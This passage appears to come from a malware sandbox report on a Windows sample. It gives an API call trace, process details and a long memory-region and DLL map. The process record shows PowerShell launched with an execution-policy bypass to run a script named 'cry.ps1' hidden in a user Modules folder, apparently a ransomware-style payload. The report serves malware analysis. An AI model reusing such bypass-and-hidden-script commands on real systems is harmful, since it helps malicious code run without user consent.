ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0x6629d0 [0064.248] FindClose (in: hFindFile=0x6629d0 | out: hFindFile=0x6629d0) returned 1 [0064.248] _wcsnicmp (_String1="DOCUME~1", _String2="Documents", _MaxCount=0x9) returned 16 [0064.248] memcpy (in: _Dst=0x32f0b6, _Src=0x32ee38, _Size=0x12 | out: _Dst=0x32f0b6) returned 0x32f0b6 [0064.248] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell"), lpFindFileData=0x32ee0c | out: lpFindFileData=0x32ee0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WINDOW~1")) returned 0x6629d0 [0064.249] FindClose (in: hFindFile=0x6629d0 | out: hFindFile=0x6629d0) returned 1 [0064.249] _wcsnicmp (_String1="WINDOW~1", _String2="WindowsPowerShell", _MaxCount=0x11) returned 11 [0064.249] memcpy (in: _Dst=0x32f0ca, _Src=0x32ee38, _Size=0x22 | out: _Dst=0x32f0ca) returned 0x32f0ca [0064.249] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules"), lpFindFileData=0x32ee0c | out: lpFindFileData=0x32ee0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0x6629d0 [0064.249] FindClose (in: hFindFile=0x6629d0 | out: hFindFile=0x6629d0) returned 1 [0064.249] memcpy (in: _Dst=0x32f0ee, _Src=0x32ee38, _Size=0xe | out: _Dst=0x32f0ee) returned 0x32f0ee [0064.249] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), lpFindFileData=0x32ee0c | out: lpFindFileData=0x32ee0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 0x6629d0 [0064.249] FindClose (in: hFindFile=0x6629d0 | out: hFindFile=0x6629d0) returned 1 [0064.249] memcpy (in: _Dst=0x32f0fe, _Src=0x32ee38, _Size=0xc | out: _Dst=0x32f0fe) returned 0x32f0fe [0064.250] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0064.250] SetCurrentDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 1 [0064.250] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 1 [0064.250] GetProcessHeap () returned 0x650000 [0064.250] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x662fc8 | out: hHeap=0x650000) returned 1 [0064.250] GetEnvironmentStringsW () returned 0x662e08* [0064.250] GetProcessHeap () returned 0x650000 [0064.250] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xc1e) returned 0x6655c8 [0064.250] memcpy (in: _Dst=0x6655c8, _Src=0x662e08, _Size=0xc1e | out: _Dst=0x6655c8) returned 0x6655c8 [0064.250] FreeEnvironmentStringsW (penv=0x662e08) returned 1 [0064.250] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e65260 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 0x3d [0064.250] GetProcessHeap () returned 0x650000 [0064.250] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x662940 | out: hHeap=0x650000) returned 1 [0064.250] _get_osfhandle (_FileHandle=1) returned 0x7 [0064.251] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0064.251] _get_osfhandle (_FileHandle=1) returned 0x7 [0064.251] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e641ac | out: lpMode=0x49e641ac) returned 1 [0064.251] _get_osfhandle (_FileHandle=0) returned 0x3 [0064.251] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e641b0 | out: lpMode=0x49e641b0) returned 1 [0064.252] SetConsoleInputExeNameW () returned 0x1 [0064.252] GetConsoleOutputCP () returned 0x1b5 [0064.252] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e64260 | out: lpCPInfo=0x49e64260) returned 1 [0064.252] SetThreadUILanguage (LangId=0x0) returned 0x409 [0064.252] exit (_Code=0) Process: id = "9" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x3cb2c000" os_pid = "0x9ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x518" cmd_line = "powershell -ExecutionPolicy ByPass -File C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1827 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1828 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1829 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1830 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1831 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1832 start_va = 0x130000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1833 start_va = 0x200000 end_va = 0x26afff monitored = 0 entry_point = 0x20d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1834 start_va = 0x2a0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1835 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1836 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1837 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1838 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1839 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1840 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1841 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1842 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1843 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1844 start_va = 0x70000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1845 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1846 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1847 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1848 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1849 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1850 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1851 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 1852 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1853 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 1854 start_va = 0x2e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1855 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1856 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1857 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1858 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1859 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1860 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1861 start_va = 0x170000 end_va = 0x1d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1862 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1863 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1864 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1865 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1866 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1867 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1868 start_va = 0x6da30000 end_va = 0x6da43fff monitored = 0 entry_point = 0x6da31da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1869 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1870 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1871 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1872 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1873 start_va = 0x75770000 end_va = 0x758cbfff monitored = 0 entry_point = 0x757bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1874 start_va = 0x756e0000 end_va = 0x7576efff monitored = 0 entry_point = 0x756e3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1875 start_va = 0x75030000 end_va = 0x75079fff monitored = 1 entry_point = 0x75032e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1876 start_va = 0x3f0000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1877 start_va = 0x100000 end_va = 0x11dfff monitored = 0 entry_point = 0x11158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1878 start_va = 0x530000 end_va = 0x6b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1879 start_va = 0x100000 end_va = 0x11dfff monitored = 0 entry_point = 0x11158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1880 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1881 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1882 start_va = 0x6c0000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1883 start_va = 0x850000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 1884 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1885 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1886 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1887 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1888 start_va = 0x1c50000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 1889 start_va = 0x3f0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1890 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1891 start_va = 0x74fa0000 end_va = 0x7502cfff monitored = 1 entry_point = 0x74fb2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1892 start_va = 0x731b0000 end_va = 0x731b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1893 start_va = 0x75e20000 end_va = 0x75e76fff monitored = 0 entry_point = 0x75e39ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1894 start_va = 0x74190000 end_va = 0x74198fff monitored = 0 entry_point = 0x74191220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1895 start_va = 0x71990000 end_va = 0x7213efff monitored = 1 entry_point = 0x719ad0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1896 start_va = 0x71990000 end_va = 0x7213efff monitored = 1 entry_point = 0x719ad0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1897 start_va = 0x71990000 end_va = 0x7213efff monitored = 1 entry_point = 0x719ad0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1898 start_va = 0x74f80000 end_va = 0x74f93fff monitored = 0 entry_point = 0x74f8ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 1899 start_va = 0x72840000 end_va = 0x728eafff monitored = 0 entry_point = 0x728d5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 1900 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 1901 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1902 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1903 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1904 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1905 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1906 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1907 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1908 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1909 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1910 start_va = 0x4a0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1911 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1912 start_va = 0x1da0000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 1913 start_va = 0x1d30000 end_va = 0x1d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1914 start_va = 0x1d90000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 1915 start_va = 0x1e10000 end_va = 0x1e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 1916 start_va = 0x1f40000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 1917 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1918 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1919 start_va = 0x1f80000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 1920 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1921 start_va = 0x1dd0000 end_va = 0x1e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 1922 start_va = 0x1e80000 end_va = 0x1ebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1923 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1924 start_va = 0x1ef0000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 1925 start_va = 0x4050000 end_va = 0x408ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004050000" filename = "" Region: id = 1926 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1928 start_va = 0x4090000 end_va = 0x435efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1929 start_va = 0x70580000 end_va = 0x7198afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 1930 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1931 start_va = 0x4360000 end_va = 0x456ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 1932 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1935 start_va = 0x6fb20000 end_va = 0x70574fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1937 start_va = 0x6f300000 end_va = 0x6fb17fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1939 start_va = 0x6d9a0000 end_va = 0x6da2efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1940 start_va = 0x73f20000 end_va = 0x73f36fff monitored = 0 entry_point = 0x73f23573 